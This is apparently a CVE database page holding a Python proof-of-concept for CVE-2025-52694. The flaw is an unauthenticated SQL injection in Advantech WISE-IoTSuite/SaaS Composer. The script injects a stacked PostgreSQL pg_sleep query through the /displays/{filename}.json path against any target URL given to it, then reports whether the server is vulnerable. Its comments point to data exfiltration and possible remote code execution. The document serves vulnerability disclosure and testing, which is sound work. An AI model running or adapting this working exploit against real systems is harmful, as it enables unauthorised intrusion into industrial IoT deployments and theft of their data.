4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2025-52694-poc.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title: Advantech SaaS Composer – SQL Injection PoC
# Vendor: Advantech Corporation
# Product: WISE-IoTSuite/SaaS Composer
# Vulnerability: SQL Injection (Unauthenticated)
# Affected Component: /displays/{filename}.json?org_id=
# Threat: Data Exfiltration, Remote Code Execution via PostgreSQL stacked queries
# Author: Loi Nguyen Thang, HCMUTE Information Security Club
#
# Description:
#   This PoC demonstrates a critical SQL injection vulnerability affecting
#   Advantech WISE-IoTSuite/SaaS Composer. The parameter `filename` is concatenated unsafely
#   into a PostgreSQL query. Attackers can inject stacked queries such as:
#
#       '; select 1 from pg_sleep(10) --
#
#   Response delay is used to confirm that SQL queries are executed on the backend,
#   potentially with high-privileged DB accounts. Under certain deployments,
#   PostgreSQL commands may lead to Remote Code Execution.
#
# Usage:
#   python3 advantech_sqli_poc.py --url https://target --org 1
# The --org must be chosen according to the target's configuration. Default is 1. Try different values if unsure (e.g., 1, 2, 3).
#

import requests
import time
import argparse
import urllib.parse
import warnings
import sys

warnings.filterwarnings("ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning)

SLEEP_TIME = 10
TIMEOUT = 15


def build_payload_path(org_id):
    return f"/displays/filename.json'; select pg_sleep({SLEEP_TIME}) --?org_id={org_id}"


def test_vulnerability(base_url, org_id):
    """
    Perform the time-based SQL injection test.
    """

    if not base_url.startswith(("http://", "https://")):
        base_url = "https://" + base_url

    payload = build_payload_path(org_id)
    target = urllib.parse.urljoin(base_url, payload)

    print(f"[+] Target URL : {base_url}")
    print(f"[+] Injecting  : org_id={org_id}")
    print(f"[+] Payload    : {payload}")
    print(f"[+] Full URL   : {target}")
    print("----------------------------------------------------")

    start = time.time()
    try:
        requests.get(target, timeout=TIMEOUT, verify=False)
    except requests.exceptions.Timeout:
        print(f"[!] ERROR: HTTP timeout (>{TIMEOUT}s). Target may be down or filtered.")
        sys.exit(2)
    except requests.exceptions.RequestException as e:
        print(f"[!] ERROR: {str(e)}")
        sys.exit(3)

    duration = time.time() - start
    print(f"[*] Response time: {duration:.2f}s")

    if duration >= SLEEP_TIME:
        print("\n=== RESULT: VULNERABLE ===")
        print("[+] The server appears vulnerable to time-based SQL injection.")
        print("[+] PostgreSQL query executed successfully (pg_sleep triggered).")
        print("[+] Further exploitation such as RCE may be possible depending on DB privileges.")
        sys.exit(0)
    else:
        print("\n=== RESULT: NOT VULNERABLE ===")
        print("[-] No time delay detected; injection appears ineffective.")
        sys.exit(1)


def main():
    parser = argparse.ArgumentParser(
        description="Advantech SaaS Composer - SQL Injection PoC"
    )
    parser.add_argument("--url", required=True, help="Target base URL")
    parser.add_argument("--org", type=int, default=1, help="Organization ID (integer)")

    args = parser.parse_args()

    print("====================================================")
    print("  Advantech SaaS Composer - SQL Injection PoC")
    print("  (Time-Based / PostgreSQL pg_sleep)")
    print("====================================================")
    print(f"[*] Using org_id = {args.org}\n")

    test_vulnerability(args.url, args.org)


if __name__ == "__main__":
    main()